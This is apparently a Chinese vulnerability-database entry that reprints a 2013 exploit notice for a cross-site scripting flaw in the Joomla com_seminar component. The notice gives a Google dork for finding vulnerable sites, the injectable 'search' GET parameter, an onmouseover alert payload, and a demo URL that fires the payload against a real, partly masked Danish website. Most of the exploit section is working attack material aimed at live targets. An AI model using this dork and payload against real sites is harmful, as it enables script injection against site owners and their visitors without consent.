joomla com_seminar Cross site scripting Vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1044382 漏洞类型
发布时间 2013-09-27 更新时间 2013-09-27
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2013090184
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#######################################################################
# Exploit Title : joomla com_seminar Cross site scripting Vulnerability
#
# Exploit Author : Ashiyane Digital Security Team
#
# Google Dork: : inurl:/index.php?option=com_seminar
#
# Date: 2013/09/25
#
# Vendor Homepage : http://www.joomla.org/
#
# Tested on: Windows
#
##############
#
# Location: Site/index.php?option=com_seminar&catid=0&cid=0&dateid=1&limit=1&limitstart=0&search=[xss]&task=0&uid=
# 
# metod : Get
#
# Script for Test : "onmouseover=alert(1);a="
#
##############
##############
# Demo:
#
# http://www.hyXXXg.dk/index.php?option=com_seminar&catid=0&cid=0&dateid=1&limit=1&limitstart=0&search=1%22onmouseover=alert%281%29;a=%22&task=0&uid=
#
#
##############
#
# Discovered By : ACC3SS
#
##############